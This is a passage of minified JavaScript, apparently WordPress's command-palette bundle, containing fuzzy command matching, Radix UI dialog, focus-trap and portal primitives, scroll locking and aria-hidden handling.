n[e](a,a.exports,o),a.exports}t=Object.getPrototypeOf?e=>Object.getPrototypeOf(e):e=>e.__proto__,o.t=function(n,r){if(1&r&&(n=this(n)),8&r)return n;if("object"==typeof n&&n){if(4&r&&n.__esModule)return n;if(16&r&&"function"==typeof n.then)return n}var a=Object.create(null);o.r(a);var c={};e=e||[null,t({}),t([]),t(t)];for(var u=2&r&&n;"object"==typeof u&&!~e.indexOf(u);u=t(u))Object.getOwnPropertyNames(u).forEach((e=>c[e]=()=>n[e]));return c.default=()=>n,o.d(a,c),a},o.d=(e,t)=>{for(var n in t)o.o(t,n)&&!o.o(e,n)&&Object.defineProperty(e,n,{enumerable:!0,get:t[n]})},o.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),o.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.nc=void 0;var a={};o.r(a),o.d(a,{CommandMenu:()=>Vn,privateApis:()=>qn,store:()=>Fn,useCommand:()=>zn,useCommandLoader:()=>Gn});var c={};o.r(c),o.d(c,{close:()=>Nn,open:()=>An,registerCommand:()=>xn,registerCommandLoader:()=>Rn,unregisterCommand:()=>On,unregisterCommandLoader:()=>kn});var u={};o.r(u),o.d(u,{getCommandLoaders:()=>Mn,getCommands:()=>Ln,getContext:()=>Tn,isOpen:()=>_n});var i={};o.r(i),o.d(i,{setContext:()=>Dn});var l=.999,s=/[\\\/_+.#"@\[\(\{&]/,d=/[\\\/_+.#"@\[\(\{&]/g,f=/[\s-]/,m=/[\s-]/g;function v(e,t,n,r,o,a,c){if(a===t.length)return o===e.length?1:.99;var u=`${o},${a}`;if(void 0!==c[u])return c[u];for(var i,p,h,g,b=r.charAt(a),E=n.indexOf(b,o),y=0;E>=0;)(i=v(e,t,n,r,E+1,a+1,c))>y&&(E===o?i*=1:s.test(e.charAt(E-1))?(i*=.8,(h=e.slice(o,E-1).match(d))&&o>0&&(i*=Math.pow(l,h.length))):f.test(e.charAt(E-1))?(i*=.9,(g=e.slice(o,E-1).match(m))&&o>0&&(i*=Math.pow(l,g.length))):(i*=.17,o>0&&(i*=Math.pow(l,E-o))),e.charAt(E)!==t.charAt(a)&&(i*=.9999)),(i<.1&&n.charAt(E-1)===r.charAt(a+1)||r.charAt(a+1)===r.charAt(a)&&n.charAt(E-1)!==r.charAt(a))&&(.1*(p=v(e,t,n,r,E+1,a+2,c))>i&&(i=.1*p)),i>y&&(y=i),E=n.indexOf(b,E+1);return c[u]=y,y}function p(e){return e.toLowerCase().replace(m," ")}function h(e,t,n){return v(e=n&&n.length>0?""+(e+" "+n.join(" ")):e,t,p(e),p(t),0,0,{})}function g(){return g=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)({}).hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},g.apply(null,arguments)}const b=window.React;var E=o.t(b,2);function y(e,t,{checkForDefaultPrevented:n=!0}={}){return function(r){if(null==e||e(r),!1===n||!r.defaultPrevented)return null==t?void 0:t(r)}}function w(...e){return t=>e.forEach((e=>function(e,t){"function"==typeof e?e(t):null!=e&&(e.current=t)}(e,t)))}function C(...e){return(0,b.useCallback)(w(...e),e)}function S(...e){const t=e[0];if(1===e.length)return t;const n=()=>{const n=e.map((e=>({useScope:e(),scopeName:e.scopeName})));return function(e){const r=n.reduce(((t,{useScope:n,scopeName:r})=>({...t,...n(e)[`__scope${r}`]})),{});return(0,b.useMemo)((()=>({[`__scope${t.scopeName}`]:r})),[r])}};return n.scopeName=t.scopeName,n}const x=Boolean(null===globalThis||void 0===globalThis?void 0:globalThis.document)?b.useLayoutEffect:()=>{},O=E["useId".toString()]||(()=>{});let R=0;function k(e){const[t,n]=b.useState(O());return x((()=>{e||n((e=>null!=e?e:String(R++)))}),[e]),e||(t?`radix-${t}`:"")}function A(e){const t=(0,b.useRef)(e);return(0,b.useEffect)((()=>{t.current=e})),(0,b.useMemo)((()=>(...e)=>{var n;return null===(n=t.current)||void 0===n?void 0:n.call(t,...e)}),[])}function N({prop:e,defaultProp:t,onChange:n=()=>{}}){const[r,o]=function({defaultProp:e,onChange:t}){const n=(0,b.useState)(e),[r]=n,o=(0,b.useRef)(r),a=A(t);return(0,b.useEffect)((()=>{o.current!==r&&(a(r),o.current=r)}),[r,o,a]),n}({defaultProp:t,onChange:n}),a=void 0!==e,c=a?e:r,u=A(n);return[c,(0,b.useCallback)((t=>{if(a){const n="function"==typeof t?t(e):t;n!==e&&u(n)}else o(t)}),[a,e,o,u])]}const L=window.ReactDOM,M=(0,b.forwardRef)(((e,t)=>{const{children:n,...r}=e,o=b.Children.toArray(n),a=o.find(D);if(a){const e=a.props.children,n=o.map((t=>t===a?b.Children.count(e)>1?b.Children.only(null):(0,b.isValidElement)(e)?e.props.children:null:t));return(0,b.createElement)(_,g({},r,{ref:t}),(0,b.isValidElement)(e)?(0,b.cloneElement)(e,void 0,n):null)}return(0,b.createElement)(_,g({},r,{ref:t}),n)}));M.displayName="Slot";const _=(0,b.forwardRef)(((e,t)=>{const{children:n,...r}=e;return(0,b.isValidElement)(n)?(0,b.cloneElement)(n,{...P(r,n.props),ref:t?w(t,n.ref):n.ref}):b.Children.count(n)>1?b.Children.only(null):null}));_.displayName="SlotClone";const T=({children:e})=>(0,b.createElement)(b.Fragment,null,e);function D(e){return(0,b.isValidElement)(e)&&e.type===T}function P(e,t){const n={...t};for(const r in t){const o=e[r],a=t[r];/^on[A-Z]/.test(r)?o&&a?n[r]=(...e)=>{a(...e),o(...e)}:o&&(n[r]=o):"style"===r?n[r]={...o,...a}:"className"===r&&(n[r]=[o,a].filter(Boolean).join(" "))}return{...e,...n}}const I=["a","button","div","form","h2","h3","img","input","label","li","nav","ol","p","span","svg","ul"].reduce(((e,t)=>{const n=(0,b.forwardRef)(((e,n)=>{const{asChild:r,...o}=e,a=r?M:t;return(0,b.useEffect)((()=>{window[Symbol.for("radix-ui")]=!0}),[]),(0,b.createElement)(a,g({},o,{ref:n}))}));return n.displayName=`Primitive.${t}`,{...e,[t]:n}}),{});const j="dismissableLayer.update",F="dismissableLayer.pointerDownOutside",W="dismissableLayer.focusOutside";let U;const $=(0,b.createContext)({layers:new Set,layersWithOutsidePointerEventsDisabled:new Set,branches:new Set}),B=(0,b.forwardRef)(((e,t)=>{var n;const{disableOutsidePointerEvents:r=!1,onEscapeKeyDown:o,onPointerDownOutside:a,onFocusOutside:c,onInteractOutside:u,onDismiss:i,...l}=e,s=(0,b.useContext)($),[d,f]=(0,b.useState)(null),m=null!==(n=null==d?void 0:d.ownerDocument)&&void 0!==n?n:null===globalThis||void 0===globalThis?void 0:globalThis.document,[,v]=(0,b.useState)({}),p=C(t,(e=>f(e))),h=Array.from(s.layers),[E]=[...s.layersWithOutsidePointerEventsDisabled].slice(-1),w=h.indexOf(E),S=d?h.indexOf(d):-1,x=s.layersWithOutsidePointerEventsDisabled.size>0,O=S>=w,R=function(e,t=(null===globalThis||void 0===globalThis?void 0:globalThis.document)){const n=A(e),r=(0,b.useRef)(!1),o=(0,b.useRef)((()=>{}));return(0,b.useEffect)((()=>{const e=e=>{if(e.target&&!r.current){const a={originalEvent:e};function c(){V(F,n,a,{discrete:!0})}"touch"===e.pointerType?(t.removeEventListener("click",o.current),o.current=c,t.addEventListener("click",o.current,{once:!0})):c()}else t.removeEventListener("click",o.current);r.current=!1},a=window.setTimeout((()=>{t.addEventListener("pointerdown",e)}),0);return()=>{window.clearTimeout(a),t.removeEventListener("pointerdown",e),t.removeEventListener("click",o.current)}}),[t,n]),{onPointerDownCapture:()=>r.current=!0}}((e=>{const t=e.target,n=[...s.branches].some((e=>e.contains(t)));O&&!n&&(null==a||a(e),null==u||u(e),e.defaultPrevented||null==i||i())}),m),k=function(e,t=(null===globalThis||void 0===globalThis?void 0:globalThis.document)){const n=A(e),r=(0,b.useRef)(!1);return(0,b.useEffect)((()=>{const e=e=>{if(e.target&&!r.current){V(W,n,{originalEvent:e},{discrete:!1})}};return t.addEventListener("focusin",e),()=>t.removeEventListener("focusin",e)}),[t,n]),{onFocusCapture:()=>r.current=!0,onBlurCapture:()=>r.current=!1}}((e=>{const t=e.target;[...s.branches].some((e=>e.contains(t)))||(null==c||c(e),null==u||u(e),e.defaultPrevented||null==i||i())}),m);return function(e,t=(null===globalThis||void 0===globalThis?void 0:globalThis.document)){const n=A(e);(0,b.useEffect)((()=>{const e=e=>{"Escape"===e.key&&n(e)};return t.addEventListener("keydown",e),()=>t.removeEventListener("keydown",e)}),[n,t])}((e=>{S===s.layers.size-1&&(null==o||o(e),!e.defaultPrevented&&i&&(e.preventDefault(),i()))}),m),(0,b.useEffect)((()=>{if(d)return r&&(0===s.layersWithOutsidePointerEventsDisabled.size&&(U=m.body.style.pointerEvents,m.body.style.pointerEvents="none"),s.layersWithOutsidePointerEventsDisabled.add(d)),s.layers.add(d),K(),()=>{r&&1===s.layersWithOutsidePointerEventsDisabled.size&&(m.body.style.pointerEvents=U)}}),[d,m,r,s]),(0,b.useEffect)((()=>()=>{d&&(s.layers.delete(d),s.layersWithOutsidePointerEventsDisabled.delete(d),K())}),[d,s]),(0,b.useEffect)((()=>{const e=()=>v({});return document.addEventListener(j,e),()=>document.removeEventListener(j,e)}),[]),(0,b.createElement)(I.div,g({},l,{ref:p,style:{pointerEvents:x?O?"auto":"none":void 0,...e.style},onFocusCapture:y(e.onFocusCapture,k.onFocusCapture),onBlurCapture:y(e.onBlurCapture,k.onBlurCapture),onPointerDownCapture:y(e.onPointerDownCapture,R.onPointerDownCapture)}))}));function K(){const e=new CustomEvent(j);document.dispatchEvent(e)}function V(e,t,n,{discrete:r}){const o=n.originalEvent.target,a=new CustomEvent(e,{bubbles:!1,cancelable:!0,detail:n});t&&o.addEventListener(e,t,{once:!0}),r?function(e,t){e&&(0,L.flushSync)((()=>e.dispatchEvent(t)))}(o,a):o.dispatchEvent(a)}const q="focusScope.autoFocusOnMount",z="focusScope.autoFocusOnUnmount",G={bubbles:!1,cancelable:!0},H=(0,b.forwardRef)(((e,t)=>{const{loop:n=!1,trapped:r=!1,onMountAutoFocus:o,onUnmountAutoFocus:a,...c}=e,[u,i]=(0,b.useState)(null),l=A(o),s=A(a),d=(0,b.useRef)(null),f=C(t,(e=>i(e))),m=(0,b.useRef)({paused:!1,pause(){this.paused=!0},resume(){this.paused=!1}}).current;(0,b.useEffect)((()=>{if(r){function e(e){if(m.paused||!u)return;const t=e.target;u.contains(t)?d.current=t:J(d.current,{select:!0})}function t(e){if(m.paused||!u)return;const t=e.relatedTarget;null!==t&&(u.contains(t)||J(d.current,{select:!0}))}function n(e){if(document.activeElement===document.body)for(const t of e)t.removedNodes.length>0&&J(u)}document.addEventListener("focusin",e),document.addEventListener("focusout",t);const o=new MutationObserver(n);return u&&o.observe(u,{childList:!0,subtree:!0}),()=>{document.removeEventListener("focusin",e),document.removeEventListener("focusout",t),o.disconnect()}}}),[r,u,m.paused]),(0,b.useEffect)((()=>{if(u){Q.add(m);const t=document.activeElement;if(!u.contains(t)){const n=new CustomEvent(q,G);u.addEventListener(q,l),u.dispatchEvent(n),n.defaultPrevented||(!function(e,{select:t=!1}={}){const n=document.activeElement;for(const r of e)if(J(r,{select:t}),document.activeElement!==n)return}((e=X(u),e.filter((e=>"A"!==e.tagName))),{select:!0}),document.activeElement===t&&J(u))}return()=>{u.removeEventListener(q,l),setTimeout((()=>{const e=new CustomEvent(z,G);u.addEventListener(z,s),u.dispatchEvent(e),e.defaultPrevented||J(null!=t?t:document.body,{select:!0}),u.removeEventListener(z,s),Q.remove(m)}),0)}}var e}),[u,l,s,m]);const v=(0,b.useCallback)((e=>{if(!n&&!r)return;if(m.paused)return;const t="Tab"===e.key&&!e.altKey&&!e.ctrlKey&&!e.metaKey,o=document.activeElement;if(t&&o){const t=e.currentTarget,[r,a]=function(e){const t=X(e),n=Y(t,e),r=Y(t.reverse(),e);return[n,r]}(t);r&&a?e.shiftKey||o!==a?e.shiftKey&&o===r&&(e.preventDefault(),n&&J(a,{select:!0})):(e.preventDefault(),n&&J(r,{select:!0})):o===t&&e.preventDefault()}}),[n,r,m.paused]);return(0,b.createElement)(I.div,g({tabIndex:-1},c,{ref:f,onKeyDown:v}))}));function X(e){const t=[],n=document.createTreeWalker(e,NodeFilter.SHOW_ELEMENT,{acceptNode:e=>{const t="INPUT"===e.tagName&&"hidden"===e.type;return e.disabled||e.hidden||t?NodeFilter.FILTER_SKIP:e.tabIndex>=0?NodeFilter.FILTER_ACCEPT:NodeFilter.FILTER_SKIP}});for(;n.nextNode();)t.push(n.currentNode);return t}function Y(e,t){for(const n of e)if(!Z(n,{upTo:t}))return n}function Z(e,{upTo:t}){if("hidden"===getComputedStyle(e).visibility)return!0;for(;e;){if(void 0!==t&&e===t)return!1;if("none"===getComputedStyle(e).display)return!0;e=e.parentElement}return!1}function J(e,{select:t=!1}={}){if(e&&e.focus){const n=document.activeElement;e.focus({preventScroll:!0}),e!==n&&function(e){return e instanceof HTMLInputElement&&"select"in e}(e)&&t&&e.select()}}const Q=function(){let e=[];return{add(t){const n=e[0];t!==n&&(null==n||n.pause()),e=ee(e,t),e.unshift(t)},remove(t){var n;e=ee(e,t),null===(n=e[0])||void 0===n||n.resume()}}}();function ee(e,t){const n=[...e],r=n.indexOf(t);return-1!==r&&n.splice(r,1),n}const te=(0,b.forwardRef)(((e,t)=>{var n;const{container:r=(null===globalThis||void 0===globalThis||null===(n=globalThis.document)||void 0===n?void 0:n.body),...o}=e;return r?L.createPortal((0,b.createElement)(I.div,g({},o,{ref:t})),r):null}));const ne=e=>{const{present:t,children:n}=e,r=function(e){const[t,n]=(0,b.useState)(),r=(0,b.useRef)({}),o=(0,b.useRef)(e),a=(0,b.useRef)("none"),c=e?"mounted":"unmounted",[u,i]=function(e,t){return(0,b.useReducer)(((e,n)=>{const r=t[e][n];return null!=r?r:e}),e)}(c,{mounted:{UNMOUNT:"unmounted",ANIMATION_OUT:"unmountSuspended"},unmountSuspended:{MOUNT:"mounted",ANIMATION_END:"unmounted"},unmounted:{MOUNT:"mounted"}});return(0,b.useEffect)((()=>{const e=re(r.current);a.current="mounted"===u?e:"none"}),[u]),x((()=>{const t=r.current,n=o.current;if(n!==e){const r=a.current,c=re(t);if(e)i("MOUNT");else if("none"===c||"none"===(null==t?void 0:t.display))i("UNMOUNT");else{i(n&&r!==c?"ANIMATION_OUT":"UNMOUNT")}o.current=e}}),[e,i]),x((()=>{if(t){const e=e=>{const n=re(r.current).includes(e.animationName);e.target===t&&n&&(0,L.flushSync)((()=>i("ANIMATION_END")))},n=e=>{e.target===t&&(a.current=re(r.current))};return t.addEventListener("animationstart",n),t.addEventListener("animationcancel",e),t.addEventListener("animationend",e),()=>{t.removeEventListener("animationstart",n),t.removeEventListener("animationcancel",e),t.removeEventListener("animationend",e)}}i("ANIMATION_END")}),[t,i]),{isPresent:["mounted","unmountSuspended"].includes(u),ref:(0,b.useCallback)((e=>{e&&(r.current=getComputedStyle(e)),n(e)}),[])}}(t),o="function"==typeof n?n({present:r.isPresent}):b.Children.only(n),a=C(r.ref,o.ref);return"function"==typeof n||r.isPresent?(0,b.cloneElement)(o,{ref:a}):null};function re(e){return(null==e?void 0:e.animationName)||"none"}ne.displayName="Presence";let oe=0;function ae(){(0,b.useEffect)((()=>{var e,t;const n=document.querySelectorAll("[data-radix-focus-guard]");return document.body.insertAdjacentElement("afterbegin",null!==(e=n[0])&&void 0!==e?e:ce()),document.body.insertAdjacentElement("beforeend",null!==(t=n[1])&&void 0!==t?t:ce()),oe++,()=>{1===oe&&document.querySelectorAll("[data-radix-focus-guard]").forEach((e=>e.remove())),oe--}}),[])}function ce(){const e=document.createElement("span");return e.setAttribute("data-radix-focus-guard",""),e.tabIndex=0,e.style.cssText="outline: none; opacity: 0; position: fixed; pointer-events: none",e}var ue=function(){return ue=Object.assign||function(e){for(var t,n=1,r=arguments.length;n<r;n++)for(var o in t=arguments[n])Object.prototype.hasOwnProperty.call(t,o)&&(e[o]=t[o]);return e},ue.apply(this,arguments)};function ie(e,t){var n={};for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&t.indexOf(r)<0&&(n[r]=e[r]);if(null!=e&&"function"==typeof Object.getOwnPropertySymbols){var o=0;for(r=Object.getOwnPropertySymbols(e);o<r.length;o++)t.indexOf(r[o])<0&&Object.prototype.propertyIsEnumerable.call(e,r[o])&&(n[r[o]]=e[r[o]])}return n}Object.create;function le(e,t,n){if(n||2===arguments.length)for(var r,o=0,a=t.length;o<a;o++)!r&&o in t||(r||(r=Array.prototype.slice.call(t,0,o)),r[o]=t[o]);return e.concat(r||Array.prototype.slice.call(t))}Object.create;"function"==typeof SuppressedError&&SuppressedError;var se="right-scroll-bar-position",de="width-before-scroll-bar";function fe(e,t){return"function"==typeof e?e(t):e&&(e.current=t),e}var me="undefined"!=typeof window?b.useLayoutEffect:b.useEffect,ve=new WeakMap;function pe(e,t){var n,r,o,a=(n=t||null,r=function(t){return e.forEach((function(e){return fe(e,t)}))},(o=(0,b.useState)((function(){return{value:n,callback:r,facade:{get current(){return o.value},set current(e){var t=o.value;t!==e&&(o.value=e,o.callback(e,t))}}}}))[0]).callback=r,o.facade);return me((function(){var t=ve.get(a);if(t){var n=new Set(t),r=new Set(e),o=a.current;n.forEach((function(e){r.has(e)||fe(e,null)})),r.forEach((function(e){n.has(e)||fe(e,o)}))}ve.set(a,e)}),[e]),a}function he(e){return e}function ge(e,t){void 0===t&&(t=he);var n=[],r=!1;return{read:function(){if(r)throw new Error("Sidecar: could not `read` from an `assigned` medium. `read` could be used only with `useMedium`.");return n.length?n[n.length-1]:e},useMedium:function(e){var o=t(e,r);return n.push(o),function(){n=n.filter((function(e){return e!==o}))}},assignSyncMedium:function(e){for(r=!0;n.length;){var t=n;n=[],t.forEach(e)}n={push:function(t){return e(t)},filter:function(){return n}}},assignMedium:function(e){r=!0;var t=[];if(n.length){var o=n;n=[],o.forEach(e),t=n}var a=function(){var n=t;t=[],n.forEach(e)},c=function(){return Promise.resolve().then(a)};c(),n={push:function(e){t.push(e),c()},filter:function(e){return t=t.filter(e),n}}}}}var be=function(e){void 0===e&&(e={});var t=ge(null);return t.options=ue({async:!0,ssr:!1},e),t}(),Ee=function(){},ye=b.forwardRef((function(e,t){var n=b.useRef(null),r=b.useState({onScrollCapture:Ee,onWheelCapture:Ee,onTouchMoveCapture:Ee}),o=r[0],a=r[1],c=e.forwardProps,u=e.children,i=e.className,l=e.removeScrollBar,s=e.enabled,d=e.shards,f=e.sideCar,m=e.noIsolation,v=e.inert,p=e.allowPinchZoom,h=e.as,g=void 0===h?"div":h,E=ie(e,["forwardProps","children","className","removeScrollBar","enabled","shards","sideCar","noIsolation","inert","allowPinchZoom","as"]),y=f,w=pe([n,t]),C=ue(ue({},E),o);return b.createElement(b.Fragment,null,s&&b.createElement(y,{sideCar:be,removeScrollBar:l,shards:d,noIsolation:m,inert:v,setCallbacks:a,allowPinchZoom:!!p,lockRef:n}),c?b.cloneElement(b.Children.only(u),ue(ue({},C),{ref:w})):b.createElement(g,ue({},C,{className:i,ref:w}),u))}));ye.defaultProps={enabled:!0,removeScrollBar:!0,inert:!1},ye.classNames={fullWidth:de,zeroRight:se};var we,Ce=function(e){var t=e.sideCar,n=ie(e,["sideCar"]);if(!t)throw new Error("Sidecar: please provide `sideCar` property to import the right car");var r=t.read();if(!r)throw new Error("Sidecar medium not found");return b.createElement(r,ue({},n))};Ce.isSideCarExport=!0;function Se(){if(!document)return null;var e=document.createElement("style");e.type="text/css";var t=we||o.nc;return t&&e.setAttribute("nonce",t),e}var xe=function(){var e=0,t=null;return{add:function(n){var r,o;0==e&&(t=Se())&&(o=n,(r=t).styleSheet?r.styleSheet.cssText=o:r.appendChild(document.createTextNode(o)),function(e){(document.head||document.getElementsByTagName("head")[0]).appendChild(e)}(t)),e++},remove:function(){! --e&&t&&(t.parentNode&&t.parentNode.removeChild(t),t=null)}}},Oe=function(){var e,t=(e=xe(),function(t,n){b.useEffect((function(){return e.add(t),function(){e.remove()}}),[t&&n])});return function(e){var n=e.styles,r=e.dynamic;return t(n,r),null}},Re={left:0,top:0,right:0,gap:0},ke=function(e){return parseInt(e||"",10)||0},Ae=function(e){if(void 0===e&&(e="margin"),"undefined"==typeof window)return Re;var t=function(e){var t=window.getComputedStyle(document.body),n=t["padding"===e?"paddingLeft":"marginLeft"],r=t["padding"===e?"paddingTop":"marginTop"],o=t["padding"===e?"paddingRight":"marginRight"];return[ke(n),ke(r),ke(o)]}(e),n=document.documentElement.clientWidth,r=window.innerWidth;return{left:t[0],top:t[1],right:t[2],gap:Math.max(0,r-n+t[2]-t[0])}},Ne=Oe(),Le="data-scroll-locked",Me=function(e,t,n,r){var o=e.left,a=e.top,c=e.right,u=e.gap;return void 0===n&&(n="margin"),"\n .".concat("with-scroll-bars-hidden"," {\n overflow: hidden ").concat(r,";\n padding-right: ").concat(u,"px ").concat(r,";\n }\n body[").concat(Le,"] {\n overflow: hidden ").concat(r,";\n overscroll-behavior: contain;\n ").concat([t&&"position: relative ".concat(r,";"),"margin"===n&&"\n padding-left: ".concat(o,"px;\n padding-top: ").concat(a,"px;\n padding-right: ").concat(c,"px;\n margin-left:0;\n margin-top:0;\n margin-right: ").concat(u,"px ").concat(r,";\n "),"padding"===n&&"padding-right: ".concat(u,"px ").concat(r,";")].filter(Boolean).join(""),"\n }\n \n .").concat(se," {\n right: ").concat(u,"px ").concat(r,";\n }\n \n .").concat(de," {\n margin-right: ").concat(u,"px ").concat(r,";\n }\n \n .").concat(se," .").concat(se," {\n right: 0 ").concat(r,";\n }\n \n .").concat(de," .").concat(de," {\n margin-right: 0 ").concat(r,";\n }\n \n body[").concat(Le,"] {\n ").concat("--removed-body-scroll-bar-size",": ").concat(u,"px;\n }\n")},_e=function(){var e=parseInt(document.body.getAttribute(Le)||"0",10);return isFinite(e)?e:0},Te=function(e){var t=e.noRelative,n=e.noImportant,r=e.gapMode,o=void 0===r?"margin":r;b.useEffect((function(){return document.body.setAttribute(Le,(_e()+1).toString()),function(){var e=_e()-1;e<=0?document.body.removeAttribute(Le):document.body.setAttribute(Le,e.toString())}}),[]);var a=b.useMemo((function(){return Ae(o)}),[o]);return b.createElement(Ne,{styles:Me(a,!t,o,n?"":"!important")})},De=!1;if("undefined"!=typeof window)try{var Pe=Object.defineProperty({},"passive",{get:function(){return De=!0,!0}});window.addEventListener("test",Pe,Pe),window.removeEventListener("test",Pe,Pe)}catch(e){De=!1}var Ie=!!De&&{passive:!1},je=function(e,t){var n=window.getComputedStyle(e);return"hidden"!==n[t]&&!(n.overflowY===n.overflowX&&!function(e){return"TEXTAREA"===e.tagName}(e)&&"visible"===n[t])},Fe=function(e,t){var n=t;do{if("undefined"!=typeof ShadowRoot&&n instanceof ShadowRoot&&(n=n.host),We(e,n)){var r=Ue(e,n);if(r[1]>r[2])return!0}n=n.parentNode}while(n&&n!==document.body);return!1},We=function(e,t){return"v"===e?function(e){return je(e,"overflowY")}(t):function(e){return je(e,"overflowX")}(t)},Ue=function(e,t){return"v"===e?[(n=t).scrollTop,n.scrollHeight,n.clientHeight]:function(e){return[e.scrollLeft,e.scrollWidth,e.clientWidth]}(t);var n},$e=function(e){return"changedTouches"in e?[e.changedTouches[0].clientX,e.changedTouches[0].clientY]:[0,0]},Be=function(e){return[e.deltaX,e.deltaY]},Ke=function(e){return e&&"current"in e?e.current:e},Ve=function(e){return"\n .block-interactivity-".concat(e," {pointer-events: none;}\n .allow-interactivity-").concat(e," {pointer-events: all;}\n")},qe=0,ze=[];const Ge=(He=function(e){var t=b.useRef([]),n=b.useRef([0,0]),r=b.useRef(),o=b.useState(qe++)[0],a=b.useState((function(){return Oe()}))[0],c=b.useRef(e);b.useEffect((function(){c.current=e}),[e]),b.useEffect((function(){if(e.inert){document.body.classList.add("block-interactivity-".concat(o));var t=le([e.lockRef.current],(e.shards||[]).map(Ke),!0).filter(Boolean);return t.forEach((function(e){return e.classList.add("allow-interactivity-".concat(o))})),function(){document.body.classList.remove("block-interactivity-".concat(o)),t.forEach((function(e){return e.classList.remove("allow-interactivity-".concat(o))}))}}}),[e.inert,e.lockRef.current,e.shards]);var u=b.useCallback((function(e,t){if("touches"in e&&2===e.touches.length)return!c.current.allowPinchZoom;var o,a=$e(e),u=n.current,i="deltaX"in e?e.deltaX:u[0]-a[0],l="deltaY"in e?e.deltaY:u[1]-a[1],s=e.target,d=Math.abs(i)>Math.abs(l)?"h":"v";if("touches"in e&&"h"===d&&"range"===s.type)return!1;var f=Fe(d,s);if(!f)return!0;if(f?o=d:(o="v"===d?"h":"v",f=Fe(d,s)),!f)return!1;if(!r.current&&"changedTouches"in e&&(i||l)&&(r.current=o),!o)return!0;var m=r.current||o;return function(e,t,n,r,o){var a=function(e,t){return"h"===e&&"rtl"===t?-1:1}(e,window.getComputedStyle(t).direction),c=a*r,u=n.target,i=t.contains(u),l=!1,s=c>0,d=0,f=0;do{var m=Ue(e,u),v=m[0],p=m[1]-m[2]-a*v;(v||p)&&We(e,u)&&(d+=p,f+=v),u=u.parentNode}while(!i&&u!==document.body||i&&(t.contains(u)||t===u));return(s&&(o&&0===d||!o&&c>d)||!s&&(o&&0===f||!o&&-c>f))&&(l=!0),l}(m,t,e,"h"===m?i:l,!0)}),[]),i=b.useCallback((function(e){var n=e;if(ze.length&&ze[ze.length-1]===a){var r="deltaY"in n?Be(n):$e(n),o=t.current.filter((function(e){return e.name===n.type&&e.target===n.target&&(t=e.delta,o=r,t[0]===o[0]&&t[1]===o[1]);var t,o}))[0];if(o&&o.should)n.cancelable&&n.preventDefault();else if(!o){var i=(c.current.shards||[]).map(Ke).filter(Boolean).filter((function(e){return e.contains(n.target)}));(i.length>0?u(n,i[0]):!c.current.noIsolation)&&n.cancelable&&n.preventDefault()}}}),[]),l=b.useCallback((function(e,n,r,o){var a={name:e,delta:n,target:r,should:o};t.current.push(a),setTimeout((function(){t.current=t.current.filter((function(e){return e!==a}))}),1)}),[]),s=b.useCallback((function(e){n.current=$e(e),r.current=void 0}),[]),d=b.useCallback((function(t){l(t.type,Be(t),t.target,u(t,e.lockRef.current))}),[]),f=b.useCallback((function(t){l(t.type,$e(t),t.target,u(t,e.lockRef.current))}),[]);b.useEffect((function(){return ze.push(a),e.setCallbacks({onScrollCapture:d,onWheelCapture:d,onTouchMoveCapture:f}),document.addEventListener("wheel",i,Ie),document.addEventListener("touchmove",i,Ie),document.addEventListener("touchstart",s,Ie),function(){ze=ze.filter((function(e){return e!==a})),document.removeEventListener("wheel",i,Ie),document.removeEventListener("touchmove",i,Ie),document.removeEventListener("touchstart",s,Ie)}}),[]);var m=e.removeScrollBar,v=e.inert;return b.createElement(b.Fragment,null,v?b.createElement(a,{styles:Ve(o)}):null,m?b.createElement(Te,{gapMode:"margin"}):null)},be.useMedium(He),Ce);var He,Xe=b.forwardRef((function(e,t){return b.createElement(ye,ue({},e,{ref:t,sideCar:Ge}))}));Xe.classNames=ye.classNames;const Ye=Xe;var Ze=function(e){return"undefined"==typeof document?null:(Array.isArray(e)?e[0]:e).ownerDocument.body},Je=new WeakMap,Qe=new WeakMap,et={},tt=0,nt=function(e){return e&&(e.host||nt(e.parentNode))},rt=function(e,t,n,r){var o=function(e,t){return t.map((function(t){if(e.contains(t))return t;var n=nt(t);return n&&e.contains(n)?n:(console.error("aria-hidden",t,"in not contained inside",e,". Doing nothing"),null)})).filter((function(e){return Boolean(e)}))}(t,Array.isArray(e)?e:[e]);et[n]||(et[n]=new WeakMap);var a=et[n],c=[],u=new Set,i=new Set(o),l=function(e){e&&!u.has(e)&&(u.add(e),l(e.parentNode))};o.forEach(l);var s=function(e){e&&!i.has(e)&&Array.prototype.forEach.call(e.children,(function(e){if(u.has(e))s(e);else try{var t=e.getAttribute(r),o=null!==t&&"false"!==t,i=(Je.get(e)||0)+1,l=(a.get(e)||0)+1;Je.set(e,i),a.set(e,l),c.push(e),1===i&&o&&Qe.set(e,!0),1===l&&e.setAttribute(n,"true"),o||e.setAttribute(r,"true")}catch(t){console.error("aria-hidden: cannot operate on ",e,t)}}))};return s(t),u.clear(),tt++,function(){c.forEach((function(e){var t=Je.get(e)-1,o=a.get(e)-1;Je.set(e,t),a.set(e,o),t||(Qe.has(e)||e.removeAttribute(r),Qe.delete(e)),o||e.removeAttribute(n)})),--tt||(Je=new WeakMap,Je=new WeakMap,Qe=new WeakMap,et={})}},ot=function(e,t,n){void 0===n&&(n="data-aria-hidden");var r=Array.from(Array.isArray(e)?e:[e]),o=t||Ze(e);return o?(r.push.apply(r,Array.from(o.querySelectorAll("[aria-live]"))),rt(r,o,n,"aria-hidden")):function(){return null}};const at="Dialog",[ct,ut]=function(e,t=[]){let n=[];const r=()=>{const t=n.map((e=>(0,b.createContext)(e)));return function(n){const r=(null==n?void 0:n[e])||t;return(0,b.useMemo)((()=>({[`__scope${e}`]:{...n,[e]:r}})),[n,r])}};return r.scopeName=e,[function(t,r){const o=(0,b.createContext)(r),a=n.length;function c(t){const{scope:n,children:r,...c}=t,u=(null==n?void 0:n[e][a])||o,i=(0,b.useMemo)((()=>c),Object.values(c));return(0,b.createElement)(u.Provider,{value:i},r)}return n=[...n,r],c.displayName=t+"Provider",[c,function(n,c){const u=(null==c?void 0:c[e][a])||o,i=(0,b.useContext)(u);if(i)return i;if(void 0!==r)return r;throw new Error(`\`${n}\` must be used within 